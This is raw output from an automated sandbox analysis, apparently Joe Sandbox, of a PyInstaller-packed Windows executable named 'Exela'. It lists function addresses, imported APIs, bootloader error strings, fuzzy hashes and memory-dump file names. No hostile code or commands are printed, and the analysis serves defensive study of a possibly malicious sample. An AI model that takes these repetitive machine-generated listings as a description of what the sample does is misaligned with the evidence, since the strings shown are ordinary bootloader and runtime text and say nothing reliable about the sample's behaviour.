Tcl_MutexUnlock, xrefs: 00007FF6E3A6709E
Tcl_MutexLock, xrefs: 00007FF6E3A67076
Tcl_Finalize, xrefs: 00007FF6E3A66FAE
Tcl_ConditionWait, xrefs: 00007FF6E3A67116
Tcl_ThreadQueueEvent, xrefs: 00007FF6E3A6713E
Tcl_GetString, xrefs: 00007FF6E3A67206
Failed to get address for Tcl_Alloc, xrefs: 00007FF6E3A67362
Tcl_ConditionNotify, xrefs: 00007FF6E3A670EE
Failed to get address for Tcl_ConditionNotify, xrefs: 00007FF6E3A6710A
Failed to get address for Tcl_EvalEx, xrefs: 00007FF6E3A67312
Failed to get address for Tcl_GetObjResult, xrefs: 00007FF6E3A672C2
Failed to get address for Tcl_NewStringObj, xrefs: 00007FF6E3A6724A
Tcl_NewByteArrayObj, xrefs: 00007FF6E3A67256
Failed to get address for Tcl_GetVar2, xrefs: 00007FF6E3A671AA
Tcl_GetObjResult, xrefs: 00007FF6E3A672A6
Failed to get address for Tcl_Init, xrefs: 00007FF6E3A66F19
Failed to get address for Tcl_DeleteInterp, xrefs: 00007FF6E3A6701A
Tcl_GetCurrentThread, xrefs: 00007FF6E3A6704E
Failed to get address for Tcl_Finalize, xrefs: 00007FF6E3A66FCA
Failed to get address for Tcl_MutexUnlock, xrefs: 00007FF6E3A670BA
Tcl_Free, xrefs: 00007FF6E3A6736E
Tcl_FindExecutable, xrefs: 00007FF6E3A66F61
Failed to get address for Tcl_ThreadAlert, xrefs: 00007FF6E3A67182
Tcl_CreateObjCommand, xrefs: 00007FF6E3A671DE
Tcl_ThreadAlert, xrefs: 00007FF6E3A67166
Tcl_GetVar2, xrefs: 00007FF6E3A6718E
Tk_GetNumMainWindows, xrefs: 00007FF6E3A673BE
Tcl_EvalObjv, xrefs: 00007FF6E3A6731E
Failed to get address for Tcl_NewByteArrayObj, xrefs: 00007FF6E3A67272
Tcl_EvalFile, xrefs: 00007FF6E3A672CE
Failed to get address for Tcl_CreateObjCommand, xrefs: 00007FF6E3A671FA
Failed to get address for Tcl_SetVar2, xrefs: 00007FF6E3A671D2
Tk_Init, xrefs: 00007FF6E3A67396
Failed to get address for Tcl_CreateThread, xrefs: 00007FF6E3A67042
Failed to get address for Tcl_CreateInterp, xrefs: 00007FF6E3A66F58
Failed to get address for Tcl_ConditionWait, xrefs: 00007FF6E3A67132
Failed to get address for Tcl_GetCurrentThread, xrefs: 00007FF6E3A6706A
Failed to get address for Tcl_FinalizeThread, xrefs: 00007FF6E3A66FF2
Failed to get address for Tcl_DoOneEvent, xrefs: 00007FF6E3A66FA2
Failed to get address for Tcl_GetString, xrefs: 00007FF6E3A67222
Tcl_SetVar2Ex, xrefs: 00007FF6E3A6727E
Failed to get address for Tcl_SetVar2Ex, xrefs: 00007FF6E3A6729A
Failed to get address for Tcl_Free, xrefs: 00007FF6E3A6738A
Failed to get address for Tcl_ConditionFinalize, xrefs: 00007FF6E3A670E2
Tcl_NewStringObj, xrefs: 00007FF6E3A6722E
Tcl_DoOneEvent, xrefs: 00007FF6E3A66F86
Tcl_SetVar2, xrefs: 00007FF6E3A671B6
Failed to get address for Tcl_EvalObjv, xrefs: 00007FF6E3A6733A
Tcl_CreateInterp, xrefs: 00007FF6E3A66F3C
Failed to get address for Tk_Init, xrefs: 00007FF6E3A673B2
Failed to get address for Tcl_MutexLock, xrefs: 00007FF6E3A67092
Tcl_CreateThread, xrefs: 00007FF6E3A67026
Tcl_Alloc, xrefs: 00007FF6E3A67346
Failed to get address for Tcl_EvalFile, xrefs: 00007FF6E3A672EA
Failed to get address for Tcl_FindExecutable, xrefs: 00007FF6E3A66F7D
Tcl_ConditionFinalize, xrefs: 00007FF6E3A670C6
Failed to get address for Tk_GetNumMainWindows, xrefs: 00007FF6E3A673DA

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: AddressProc
String ID: Failed to get address for Tcl_Alloc$Failed to get address for Tcl_ConditionFinalize$Failed to get address for Tcl_ConditionNotify$Failed to get address for Tcl_ConditionWait$Failed to get address for Tcl_CreateInterp$Failed to get address for Tcl_CreateObjCommand$Failed to get address for Tcl_CreateThread$Failed to get address for Tcl_DeleteInterp$Failed to get address for Tcl_DoOneEvent$Failed to get address for Tcl_EvalEx$Failed to get address for Tcl_EvalFile$Failed to get address for Tcl_EvalObjv$Failed to get address for Tcl_Finalize$Failed to get address for Tcl_FinalizeThread$Failed to get address for Tcl_FindExecutable$Failed to get address for Tcl_Free$Failed to get address for Tcl_GetCurrentThread$Failed to get address for Tcl_GetObjResult$Failed to get address for Tcl_GetString$Failed to get address for Tcl_GetVar2$Failed to get address for Tcl_Init$Failed to get address for Tcl_MutexLock$Failed to get address for Tcl_MutexUnlock$Failed to get address for Tcl_NewByteArrayObj$Failed to get address for Tcl_NewStringObj$Failed to get address for Tcl_SetVar2$Failed to get address for Tcl_SetVar2Ex$Failed to get address for Tcl_ThreadAlert$Failed to get address for Tcl_ThreadQueueEvent$Failed to get address for Tk_GetNumMainWindows$Failed to get address for Tk_Init$GetProcAddress$Tcl_Alloc$Tcl_ConditionFinalize$Tcl_ConditionNotify$Tcl_ConditionWait$Tcl_CreateInterp$Tcl_CreateObjCommand$Tcl_CreateThread$Tcl_DeleteInterp$Tcl_DoOneEvent$Tcl_EvalEx$Tcl_EvalFile$Tcl_EvalObjv$Tcl_Finalize$Tcl_FinalizeThread$Tcl_FindExecutable$Tcl_Free$Tcl_GetCurrentThread$Tcl_GetObjResult$Tcl_GetString$Tcl_GetVar2$Tcl_Init$Tcl_MutexLock$Tcl_MutexUnlock$Tcl_NewByteArrayObj$Tcl_NewStringObj$Tcl_SetVar2$Tcl_SetVar2Ex$Tcl_ThreadAlert$Tcl_ThreadQueueEvent$Tk_GetNumMainWindows$Tk_Init
API String ID: 190572456-2208601799
Opcode ID: d06a92813886bac4db22892db141582495630975dbcfbb846e36d04df9038670
Instruction ID: 59da26bf9b6eb1cd4700fe9aa93ccf9acfcb7f868be844b3261fe4bbe0bce4ac
Opcode Fuzzy Hash: d06a92813886bac4db22892db141582495630975dbcfbb846e36d04df9038670
Instruction Fuzzy Hash: 48E10B63B1DB43C0FA548B0CF85A774BBA5AF45781B841531C80EA6664EF7FE5C8870A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A612A0 Relevance: 17.6, APIs: 1, Strings: 9, Instructions: 136COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6E3A62B10: MessageBoxW.USER32 ref: 00007FF6E3A62BE5

_fread_nolock.LIBCMT ref: 00007FF6E3A61489

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6E3A6131B
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6E3A612EE
fseek, xrefs: 00007FF6E3A61322
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6E3A614AF
%s%c%s, xrefs: 00007FF6E3A613DE
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6E3A61360
\, xrefs: 00007FF6E3A613E5
malloc, xrefs: 00007FF6E3A61367
fread, xrefs: 00007FF6E3A614B6

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Message_fread_nolock
String ID: %s%c%s$Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$\$fread$fseek$malloc
API String ID: 3065259568-2316137593
Opcode ID: c14058ae9eb68ad52eb665bed56b0a32c9fb61598a334a6ba59ef16f67083324
Instruction ID: a8019c8974b188e51e0ef7c543ce17d2ffc0a933066b36db563b4018095473c2
Opcode Fuzzy Hash: c14058ae9eb68ad52eb665bed56b0a32c9fb61598a334a6ba59ef16f67083324
Instruction Fuzzy Hash: 8151C663B1868346EA20E71DA8563FA7B90EF447C4F404031EE4DE7B95EE7EE4818749

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A623D0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

GetDC.USER32 ref: 00007FF6E3A623FB
SelectObject.GDI32 ref: 00007FF6E3A62442
DrawTextW.USER32 ref: 00007FF6E3A62465
SelectObject.GDI32 ref: 00007FF6E3A6247B
ReleaseDC.USER32 ref: 00007FF6E3A6248B
MoveWindow.USER32 ref: 00007FF6E3A624DB
MoveWindow.USER32 ref: 00007FF6E3A6251B
MoveWindow.USER32 ref: 00007FF6E3A6256E
MoveWindow.USER32 ref: 00007FF6E3A625B6

Strings

P%, xrefs: 00007FF6E3A6244F

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: MoveWindow$ObjectSelect$DrawReleaseText
String ID: P%
API String ID: 2147705588-2959514604
Opcode ID: 4ec0923ad57b9e26d950b98539eabaaac0ee0779749769c2f3ee915382542b09
Instruction ID: 8b6a7bf54534795c35e092e5dfa49b691f28b60b70e28f47f5541f010fea80b3
Opcode Fuzzy Hash: 4ec0923ad57b9e26d950b98539eabaaac0ee0779749769c2f3ee915382542b09
Instruction Fuzzy Hash: 1351F8266147A186D6349F3AB01C2BABBA1F798B61F004121EBDF83A94DF3DD085DB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A68560 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 52windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00007FF6E3A62A3E,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A6101D), ref: 00007FF6E3A68587
FormatMessageW.KERNEL32 ref: 00007FF6E3A685B6
WideCharToMultiByte.KERNEL32 ref: 00007FF6E3A6860C

Part of subcall function 00007FF6E3A629C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6E3A688E2,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A6101D), ref: 00007FF6E3A629F4
Part of subcall function 00007FF6E3A629C0: MessageBoxW.USER32 ref: 00007FF6E3A62AD0

Strings

PyInstaller: FormatMessageW failed., xrefs: 00007FF6E3A685D3
PyInstaller: pyi_win32_utils_to_utf8 failed., xrefs: 00007FF6E3A68629
WideCharToMultiByte, xrefs: 00007FF6E3A6861D
Failed to encode wchar_t as UTF-8., xrefs: 00007FF6E3A68616
FormatMessageW, xrefs: 00007FF6E3A685C7
No error messages generated., xrefs: 00007FF6E3A685C0

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ErrorLastMessage$ByteCharFormatMultiWide
String ID: Failed to encode wchar_t as UTF-8.$FormatMessageW$No error messages generated.$PyInstaller: FormatMessageW failed.$PyInstaller: pyi_win32_utils_to_utf8 failed.$WideCharToMultiByte
API String ID: 2920928814-2573406579
Opcode ID: 341253ed490ea0d4c0f2cc2c63e3841e2b0994626e2ed60ed720fa43fab6ebbb
Instruction ID: bbff6c8a450299a73d05f8567774affe005486781e0f185b2492a46e0b09c122
Opcode Fuzzy Hash: 341253ed490ea0d4c0f2cc2c63e3841e2b0994626e2ed60ed720fa43fab6ebbb
Instruction Fuzzy Hash: 3021A473B18A8282F7209B1DE85A7797B65FF88388F840135D54DE26A4EF3DD0858709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A76D84 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 494COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A76DC7
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A771B4
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A77450

Strings

:, xrefs: 00007FF6E3A76F80
f, xrefs: 00007FF6E3A76EE9
p, xrefs: 00007FF6E3A76E79
-, xrefs: 00007FF6E3A76E5D
p, xrefs: 00007FF6E3A76EF1

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$:$f$p$p
API String ID: 3215553584-2013873522
Opcode ID: c2e3e1b204f81d5d3111ec2c6225d8aa08a7090ee70090e6a6c227d1fd7f1b68
Instruction ID: 17da4fcc402a3d95fccc08086f4d3d8a167aac4eee9231a44691cd035a93743b
Opcode Fuzzy Hash: c2e3e1b204f81d5d3111ec2c6225d8aa08a7090ee70090e6a6c227d1fd7f1b68
Instruction Fuzzy Hash: 3E12A323B0C14386FB249B18D19677A7E61EB80750F954035EA99A76DCDF3FE4C08B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A716E8 Relevance: 14.5, APIs: 3, Strings: 5, Instructions: 475COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A71728
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A71AF0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A71D8F

Strings

f, xrefs: 00007FF6E3A71975
f, xrefs: 00007FF6E3A7182A
p, xrefs: 00007FF6E3A717CD
p, xrefs: 00007FF6E3A71832
f, xrefs: 00007FF6E3A717C0

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: f$f$p$p$f
API String ID: 3215553584-1325933183
Opcode ID: f25701e18b7e3b768cc97be4ad67ee6babc8222917340eb79faa42be88ba5edf
Instruction ID: 7fb1c2b705fd5ef7511730d96c65099b78506aeba66e31943b8c25f9a5458c31
Opcode Fuzzy Hash: f25701e18b7e3b768cc97be4ad67ee6babc8222917340eb79faa42be88ba5edf
Instruction Fuzzy Hash: A812A463F0C14386FB205B58D09A7B97AE1FB80754F984131E699966CCDF3EE4C48B0A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A61590 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 99COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF6E3A615F9
Failed to extract %s: failed to open archive file!, xrefs: 00007FF6E3A615C3
fseek, xrefs: 00007FF6E3A61600
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF6E3A616B2
Failed to extract %s: failed to allocate data buffer (%u bytes)!, xrefs: 00007FF6E3A61629
malloc, xrefs: 00007FF6E3A61630
fread, xrefs: 00007FF6E3A616B9

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: Message
String ID: Failed to extract %s: failed to allocate data buffer (%u bytes)!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$fread$fseek$malloc
API String ID: 2030045667-3659356012
Opcode ID: e2505dbd1ef0bd92206aebc3c7944d0c2eb810815010786015b7292929e8a3f9
Instruction ID: 3526286d55ca32c1f124420f0d0aaab88cd017cf4e875c61b5551b652e0a711d
Opcode Fuzzy Hash: e2505dbd1ef0bd92206aebc3c7944d0c2eb810815010786015b7292929e8a3f9
Instruction Fuzzy Hash: EE31D727B5864342FA20DB1DA4427BABF61EF047C4F444431DE4DA7A95EE3EE481870A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A6F120 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 312COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 00007FF6E3A6F17C

Part of subcall function 00007FF6E3A700DC: __GetUnwindTryBlock.LIBCMT ref: 00007FF6E3A7011F
Part of subcall function 00007FF6E3A700DC: __SetUnwindTryBlock.LIBVCRUNTIME ref: 00007FF6E3A70144

Is_bad_exception_allowed.LIBVCRUNTIME ref: 00007FF6E3A6F254
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 00007FF6E3A6F4A3
std::bad_alloc::bad_alloc.LIBCMT ref: 00007FF6E3A6F5AF

Strings

csm, xrefs: 00007FF6E3A6F196
csm, xrefs: 00007FF6E3A6F1FD
csm, xrefs: 00007FF6E3A6F277

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: aa0254fa6ad752d1b0b3ebb90ffce52311fa0a6dd2bc18c7a97eb297d781420a
Instruction ID: a361eacf08295d33cce5b05f0b4998677ca4a0aa4e8107be397f99b2434ed4e2
Opcode Fuzzy Hash: aa0254fa6ad752d1b0b3ebb90ffce52311fa0a6dd2bc18c7a97eb297d781420a
Instruction Fuzzy Hash: BDD19E73A2874286EB249F6D94423AD7BA0FF55788F000135EA8DA7B95DF39E481C706

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A687A0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 104COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A6101D), ref: 00007FF6E3A68837
WideCharToMultiByte.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A6101D), ref: 00007FF6E3A6888E

Strings

WideCharToMultiByte, xrefs: 00007FF6E3A688D6
Failed to encode wchar_t as UTF-8., xrefs: 00007FF6E3A688B6
Out of memory., xrefs: 00007FF6E3A688BF
win32_utils_to_utf8, xrefs: 00007FF6E3A688C6
Failed to get UTF-8 buffer size., xrefs: 00007FF6E3A688CF

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ByteCharMultiWide
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 626452242-27947307
Opcode ID: da25680c1af6adbbd75f9aaa9149da67c4ccf9ada2fcee16a4d67ff34c50752a
Instruction ID: d2763e28b28cdb662c4282c77cf11368f0e7a365430c5f0ce81cff369d32b900
Opcode Fuzzy Hash: da25680c1af6adbbd75f9aaa9149da67c4ccf9ada2fcee16a4d67ff34c50752a
Instruction Fuzzy Hash: 0041E433B18B8282E620CF1DB84123ABBA9FB84794F544135DA8D93B98DF3DD095C709

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A68CE0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 63COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(?,00007FF6E3A639CA), ref: 00007FF6E3A68D21

Part of subcall function 00007FF6E3A629C0: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF6E3A688E2,?,?,?,?,?,?,?,?,?,?,?,00007FF6E3A6101D), ref: 00007FF6E3A629F4
Part of subcall function 00007FF6E3A629C0: MessageBoxW.USER32 ref: 00007FF6E3A62AD0

WideCharToMultiByte.KERNEL32(?,00007FF6E3A639CA), ref: 00007FF6E3A68D95

Strings

WideCharToMultiByte, xrefs: 00007FF6E3A68D35, 00007FF6E3A68DA6
Failed to encode wchar_t as UTF-8., xrefs: 00007FF6E3A68D9F
Out of memory., xrefs: 00007FF6E3A68D5B
win32_utils_to_utf8, xrefs: 00007FF6E3A68D62
Failed to get UTF-8 buffer size., xrefs: 00007FF6E3A68D2E

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLastMessage
String ID: Failed to encode wchar_t as UTF-8.$Failed to get UTF-8 buffer size.$Out of memory.$WideCharToMultiByte$win32_utils_to_utf8
API String ID: 3723044601-27947307
Opcode ID: 24e20b950f9c341c4949047225b46873ae1dde5e69406ebada3fd8935fcb2f41
Instruction ID: 3ee3426f5fd9069424eeff4b3ed81ec8fa4a16f6e59a04855530093da5fde2f6
Opcode Fuzzy Hash: 24e20b950f9c341c4949047225b46873ae1dde5e69406ebada3fd8935fcb2f41
Instruction Fuzzy Hash: AC21CE63B18B82C5FB10DB1DE8422B8BA65EB94B84F444235CA0DA3795EF3DE4848309

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A675A0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 136COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF6E3A67716

Part of subcall function 00007FF6E3A70830: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A70844

Part of subcall function 00007FF6E3A70804: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6E3A70818

Strings

\, xrefs: 00007FF6E3A675EC
WARNING: file already exists but should not: %s, xrefs: 00007FF6E3A67698
ERROR: file already exists but should not: %s, xrefs: 00007FF6E3A6767C
PYINSTALLER_STRICT_UNPACK_MODE, xrefs: 00007FF6E3A67632
%s%c%s, xrefs: 00007FF6E3A675E5

Memory Dump Source

Source File: 00000051.00000002.1852720107.00007FF6E3A61000.00000020.00000001.01000000.0000002A.sdmp, Offset: 00007FF6E3A60000, based on PE: true

Associated: 00000051.00000002.1852677009.00007FF6E3A60000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852775455.00007FF6E3A8C000.00000002.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3A9F000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852834253.00007FF6E3AA1000.00000004.00000001.01000000.0000002A.sdmpDownload File
Associated: 00000051.00000002.1852923013.00007FF6E3AA3000.00000002.00000001.01000000.0000002A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_81_2_7ff6e3a60000_Exela.jbxd

Similarity

API ID: _invalid_parameter_noinfo$_fread_nolock
String ID: %s%c%s$ERROR: file already exists but should not: %s$PYINSTALLER_STRICT_UNPACK_MODE$WARNING: file already exists but should not: %s$\
API String ID: 3231891352-3501660386
Opcode ID: 4c6ddb2e3a4fe68cd8d5f6e5aed8835ae84ced7ec56702d75cd6e29471abe75a
Instruction ID: c073914165b981bb17736dda84f120cf09a8442f359a5439f12aaea482cd756f
Opcode Fuzzy Hash: 4c6ddb2e3a4fe68cd8d5f6e5aed8835ae84ced7ec56702d75cd6e29471abe75a
Instruction Fuzzy Hash: 3551E567F3D64341FA109B2D95437B97A959F85B80F440030E90EE77DAEE2FE480834A

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6E3A67420 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 88COMMON

Download Yara Rule

APIs

